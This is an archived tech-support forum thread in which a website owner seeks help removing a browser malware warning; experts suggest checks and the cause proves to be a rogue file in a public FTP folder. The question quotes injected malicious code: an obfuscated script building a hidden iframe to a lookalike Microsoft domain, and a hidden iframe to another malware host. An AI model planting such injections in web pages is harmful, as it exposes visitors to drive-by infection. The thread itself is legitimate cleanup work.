Question

Warning - visiting this web site may harm your computer!

Asked by: goblue1

At a web site I manage I am getting the famous Warning visiting this web site may harm your computer error.  I have searched the database here and tried a few steps and am still unable to find it.


It has been added to the google web tools and verified but they still shows an error.

Google Info:

What happened when Google visited this site?

    Of the 3 pages we tested on the site over the past 90 days, 1 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2009-09-25, and the last time suspicious content was found on this site was on 2009-09-25.

    Malicious software includes 1 exploit(s).

    Malicious software is hosted on 1 domain(s), including specialgt.com/.

    This site was hosted on 1 network(s) including AS21844 (THEPLANET).



It has been verified at norton as well, but they will not clear the site and it still has the grey ? on it.



After running a tool read about here at

 http://wam.dasient.com/wam/diagnose?URL=www.stlgatewayprinting.com&scan_id=76929

I am getting the response below...no specific page but the entire site itself....i was expecting to get an actual page where the script was hiding but have not...only the main domain...checked the index.html and it is clean...i used to have flash on it and removed it all and put a simple redirect to the main page to test to see if the script was hiding in it.

<script>document.write("<if"+''+'ra'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+"roso"+'t'+''+'f.c'+"n"+'/'+"\" wid"+''+'th=1 he'+"igh"+''+'t'+"="+"2></i"+''+"f"+"ra"+''+""+''+"me"+'>');
<iframe src="http://myndomain.info/" width="1" height="2"> <script>document.write("<if"+''+'ra'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+"roso"+'t'+''+'f.c'+"n"+'/'+"\" wid"+''+'th=1 he'+"igh"+''+'t'+"="+"2></i"+''+"f"+"ra"+''+""+''+"me"+'>');

                                  
1:
2:

Select allOpen in new window

This Question has been solved and asker verified All Experts Exchange premium technology solutions are available to subscription members.

Subscribe now for full access to Experts Exchange and get

Instant Access to this Solution

  • Plus...
  • 30 Day FREE access, no risk, no obligation
  • Collaborate with the world's top tech experts
  • Unlimited access to our exclusive solution database
  • Never be left without tech help again

Subscribe Now

Asked On
2009-09-25 at 10:07:39ID24762374
Topics

Internet Security

,

Miscellaneous Web Development

,

Web Hosting

Participating Experts
2
Points
500
Comments
12

Trusted by hundreds of thousands everyday for fast, accurate and reliable tech support.

  • "The time we save is the biggest benefit of Experts Exchange to Warner Bros. What could take multiple guys 2 hours or more each to find is accessed in around 15 minutes on Experts Exchange." Mike Kapnisakis, Warner Bros.
  • "Our team likes having a resource that is more secure than just using Google and most experts using this service really know their stuff. It's nice to look here first versus using Google." Dayna Sellner, Lockheed Martin
  • "Anytime that I've been stumped with a problem, 9 out of 10 times Experts Exchange has either the accepted solution or an open discussion of the potential solution to the problem." Kenny Red, eBay Inc.

See what Experts Exchange can do for you.

Got a question?

We've got the answer.

Experts Exchange has been collecting answers to technology questions since 1996…3 million and counting! If you have a question, chances are we already have your answer.

Screenshot of Experts Exchange Knowledgebase

Need individual assistance?

Our experts are ready to help.

If you can't find the exact answer you're looking for, ask our exclusive community of 50,000 experts. You’ll get a personalized answer from a trusted professional.

Screenshot of Experts Exchange Knowledgebase

Want to learn from the best?

Read articles from industry experts.

Thousands of free tech tips, tricks, how-to’s and tutorials are available in our peer reviewed articles section. See for yourself how smart our experts are, no login required.

Screenshot of an Article

Working on a long term project?

Store your work and research.

Save solutions to your questions, answers you’ve discovered through searching plus helpful articles in your personal knowledgebase for easy future access.

Screenshot of Experts Exchange Knowledgebase

Access the answers to your technology questions today.

Subscribe Now

30-day free trial. Register in 60 seconds.

What Makes Experts Exchange Unique?

Members of the expert community talk about why the experience at Experts Exchange is different than what you will find anywhere else.

Trusted by the world's most respected brands.

image of each brand's logo

Faithfully serving IT professionals since 1996.

Experts Exchange Logo

Try it out and discover for yourself.

Subscribe Now

30-day free trial. Register in 60 seconds.

Related Solutions

  1. what is "Fin Scan"? How harmful is it?
    what is "Fin Scan"? How harmful is it? thx
  2. some files can harm your computer message.....nee…
    when anyone logs onto the computer and tries to open a file i get a "file download" message, it says "some files can harm you computer, if the file below looks suspicious, or you do not fully trust the source, do not open or save teh file"
  3. too often get "Potentially harmful" notice
    We have recently been unable to recieve most of our e-mails. We formerly got the warning about once in a hundred messages. Now it occurs in 9 out of 10 messages. Typical notice: IMPORTANT NOTICE jjsmith@clarkson.edu sent you an e-mail containing potentially harmful co...
  4. Receiving "Some files can harm your comptuer . . ." …
    For some reason my users are receiving the following message when opening up applications on a mapped drive: "File Download Some files can harm your computer. If the file information below looks suspicious, or you do not fully trust the source, do not open or save ...
  5. some files can harm your computer.if the file  information b…
    Is the problem with IE settings? the file dialog box saying that "some files can harm your computer.if the file information below looks suspicious or you do not fully trust the source,do not open or save this file."

Free Tech Articles

  1. WARNING: 5 Reasons why you should NEVER fix a computer for free.
    It is in our nature to love the puzzle. We are obsessed. The lot of us. We love puzzles. We love the challenge. We thrive on finding the answer. We hate disarray. It bothers us deep in our soul. W...
  2. SCCM OSD Basic troubleshooting
    SCCM 2007 OSD is a fantastic way to deploy operating systems, however, like most things SCCM issues can sometimes be difficult to resolve due to the sheer volume of logs to sift through and the dispe...
  3. Migrate Small Business Server 2003 to Exchange 2010 and Windows 2008 R2
    This guide is intended to provide step by step instructions on how to migrate from Small Business Server 2003 to Windows 2008 R2 with Exchange 2010. For this migration to work you will need the fo...
  4. Create a Win7 Gadget
    This article shows you how to create a simple "Gadget" -- a sort of mini-application supported by Windows 7 and Vista. Gadgets can be dropped anywhere on the desktop to provide instant information, ...
  5. Outlook continually prompting for username and password
    There have been a lot of questions recently regarding Outlook prompting for a username and password whilst using Exchange 2007. There are a few reasons why this would happen and I will try to cover t...
  6. Backup Exchange 2010 Information Store using Windows Backup
    There seems to be quite a lot of confusion around the ability to backup Exchange 2010 using the built in Windows Backup feature. This stems from the omission of this feature prior to Exchange 2007 s...

Cloud Class Webinars

  1. Avoiding Bugs in Microsoft Access
    Alison Balter takes and in-depth look at avoiding bugs in Access. In this webinar you will learn about using the immediate window to debug your applications, invoking the debugger, using breakpoints to troubleshoot, stepping through code, setting the next statement to execute, ...
  2. Top 10 Best New Features in Visio 2010
    Scott Helmers gives live demonstrations of the top 10 new features in Visio 2010. This webinar will teach you how to create compelling diagrams by adding shapes to the page with a single click, linking the shapes in a diagram to data in Excel (or SQL Server, or SharePoint), ...
  3. IT Consultant Business Secrets Revealed
    Michael Munger, Experts Exchange tech pro and IT consultant, pulls back the curtain on his very successful businesses and answers question on every IT consultant and business owner should know about. He shares secrets on what he did to solve the 5 most common problems in IT, ...
  4. Disaster Recovery and Business Continuity
    Quest CTO, Mike Billon, gives an overview of the steps involved in building a dunamic disaster recovery plan. Through case studies and an examination of software/hardware tooles for monitoring and testing, you'll gain a better understandin of where you are, where you want ...
  5. Organize Your Visio Diagrams with Containers and Lists
    Scott Helmers uses cross functional flowcharts, wireframe diagrams, data graphic legends and seating charts to teach you: how to ustilize all three new structured diagram components in Visio 2010, the best practices for organizeing shapes in previous version of Visio, how to organize ...
  6. How to Us Objects, Properties, Events and Methods in Microsoft Access
    Alison Dalter gives an in-depbth look at objects, properties, events and methods in Microsoft Access. In this webinar you will learn about using the object browser, referring to objects, working with properties and methods, working with object variables, understanding the ...

Join the Community

Give a Little. Get a Lot.

Join the community of experts here and help other tech pros by answering question in your area of expertise. You can earn FREE access to all Experts Exchange's premium features and resources.

Join the Community

Answers

 

by: goblue1Posted on 2009-09-25 at 10:29:56ID: 25425125

More info:  (per google diagnostics)

Safe Browsing
Diagnostic page for specialgt.com

What is the current listing status for specialgt.com?

    Site is listed as suspicious - visiting this web site may harm your computer.

What happened when Google visited this site?

    Of the 6 pages we tested on the site over the past 90 days, 0 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2009-09-25, and the last time suspicious content was found on this site was on 2009-09-25.

    Malicious software includes 2190 exploit(s).

    This site was hosted on 1 network(s) including AS44042 (ROOT).

Has this site acted as an intermediary resulting in further distribution of malware?

    Over the past 90 days, specialgt.com did not appear to function as an intermediary for the infection of any sites.

Has this site hosted malware?

    Yes, this site has hosted malicious software over the past 90 days. It infected 890 domain(s), including regale.com.pk/, sans-fric-a-velo.com/, yamoh.org/.

How did this happen?

    In some cases, third parties can add malicious code to legitimate sites, which would cause us to show the warning message.



Safe Browsing
Diagnostic page for AS44042 (ROOT)

What happened when Google visited sites hosted on this network?

    Of the 1756 site(s) we tested on this network over the past 90 days, 81 site(s), including, for example, usabit.com/, hofgorei-resortdavao.com/, davaotourism.com/, served content that resulted in malicious software being downloaded and installed without user consent.

    The last time Google tested a site on this network was on 2009-09-25, and the last time suspicious content was found was on 2009-09-25.

Has this network hosted sites acting as intermediaries for further malware distribution?

    Over the past 90 days, we found 56 site(s) on this network, including, for example, goodstuffreviews.com/, statsalizer.com/, livelnternet.net/, that appeared to function as intermediaries for the infection of 825 other site(s) including, for example, opp.go.th/, contact.com.az/, terminaissemfios.com/.

Has this network hosted sites that have distributed malware?

    Yes, this network has hosted sites that have distributed malicious software in the past 90 days. We found 71 site(s), including, for example, securescantools.com/, specialgt.com/, makekitchen.ru/, that infected 2123 other site(s), including, for example, landseerkcamrose.fortunecity.com/, regale.com.pk/, cifarykuuipan.fortunecity.com/.

 

by: jason1178Posted on 2009-09-25 at 23:56:53ID: 25429022

Hi goblue1,

Does your site serve ads?

 

by: goblue1Posted on 2009-09-26 at 09:56:01ID: 25430336

No, it is a private site for a printing company.  Basically all html...I guess somehow it may have been hacked with someone putting in some sort of ad...I went through every .html page and didn't find any altered code.  

 

by: jason1178Posted on 2009-09-26 at 12:35:36ID: 25431233

Does the hosting company give you a static IP or does your IP change?  It may be that if you have a dynamic IP the site that had it prior to yours was serving up something bad.

I've also seen a few false positives with Google so far. It may be worth the frustration of emailing their support to find out.  

 

by: jason1178Posted on 2009-09-26 at 12:38:32ID: 25431241

FWIW I doubt you were hacked. It would be fairly obvious from the source code and if you fix it, they would change it back. You'd know pretty quick if this was the case.  

 

by: goblue1Posted on 2009-09-26 at 12:52:10ID: 25431288

Yes, true.  No, the IP is static...it has been the same way for about 5 years now without a problem.  The site hasn't even been updated.  Suddenly, about 10 days ago this all started for whatever reason.  They notified me of the problem so I went to google web tools to look in to it.  Also, I tried to verify it through Norton as well.  Im at a loss on this one and am about finished building a brand new site mainly because I don't have an original back up to re upload the entire thing on the server.  It is has been there for so long without needing updating that I never bothered with it.    

The site does get a lot of junk email and I just enabled the spam assassin filter and spam junk box filter to help cut down on that.   I didnt think the email could trigger something like this, and felt it had to be an actual web page causing it.

 Is it to the point where i need to literally pull down the site off the server, recreate it and start over?  I really don't want to do that because of the  amount of email traffic they have and accounts.

I dont understand the myndomain.info script that comes up as the problem...or where that is being loaded...which is what I thought was causing it.  can't find it anywhere and that is what comes up when running the tool at  http://wam.dasient.com

 

by: jason1178Posted on 2009-09-26 at 13:51:33ID: 25431486

No, email wouldn't cause Google to complain about the site.   The only thing I could think of is MAYBE the site is hacked and they changed a .htaccess file to redirect certain requests to malware.  

What does the hosting provider think is going on here?  Do they have tech support you can get involved in the process?  

Honestly, unless you have a component in this site that goes out to a third-party server or the site has been hacked in some way, I think you are looking at a false positive from Google.

 

by: goblue1Posted on 2009-09-26 at 14:35:02ID: 25431655

I have not contacted them about it....to be honest I never get far with the host...not to mention all of you guys are just that good.  Not blowing smoke up your ... but I have had better success posting here than doing anything else on the net.  I gave up dealing with the dips everywhere else.  :)

Thank you...i will contact them and see what happens.  This one as usual has me baffled.

 

by: shalomcPosted on 2009-09-28 at 07:45:06ID: 25439789

find if any files have a recent update date.

 

by: goblue1Posted on 2009-09-29 at 07:29:27ID: 31634890

All answers were excellent.

It ended up being a .pdf file uploaded by a 3rd party hiding in the FTP public directory.  The suggestion to speak with google and provider did very good and a further suggestion by shalomc finished it off by suggesting to look at any recent updated files.

In the future if any of you encounter this problem be certain to check that public ftp or ftp folder including all public html folders on the web server.

I thank both of you very much.

 

by: jason1178Posted on 2009-09-29 at 09:27:14ID: 25450713

How does a PDF serve malware?

 

by: goblue1Posted on 2009-09-29 at 09:45:24ID: 25450890

I have no clue on that jason...that is what I was told by one of the administrators who cleared up the issue at Google.  Perhaps it was a file in the public ftp folder I was unaware of?   Could it have been a script within the pdf file itself?  (probably not or you wouldn't have mentioned it)

I guess the most important issue is the fact that whatever it was, it was hiding itself in the public ftp folder because after removing the folder and access to it, I received the notice that the site was now clear.  Maybe you could elaborate your thoughts on this more to help out anyone in the future?  Thank you.  Also, the pdf file was the only one with a recent date, which may be the reason for the blame.

20120131-EE-VQP-002

3 Ways to Join

30-Day Free Trial

The Experts

98% positive feedback on 31,087 answers since March 2000. angeliii is a Microsoft Most Valuable Professional for his work with MS SQL Server & Develoment.

He has also proven his knowledge of Visual Basic Programming, PHP Scripting and Oracle Databases.

The Experts

97% positive feedback on 10,752 answers since July 2000. lrmoore has more than 18 years experience in the networking industry.

The six-time Mircosoft MVPs specialties include firewalls, virtual private networking, and network management.

Testimonials

"...and excellent source for support... Kind of like having your very own IT dept." Electriciansnet

Testimonials

"I was apprehensive at signing up at first. However... it has already made my life as an IT administrator much easier." JaCrews

Testimonials

"WOW! You guys have great, active, and knowledgeable people on here." moore50

Business Clients

Business Clients

In the Press

"If you’ve got a question... Experts Exchange can supply an answer.”

In the Press

"...an invaluable aid for both IT professionals and those who require tech support."

In the Press

"where IT professionals provide quick answers on just about any topic"

Business Account Plans

Loading Advertisement...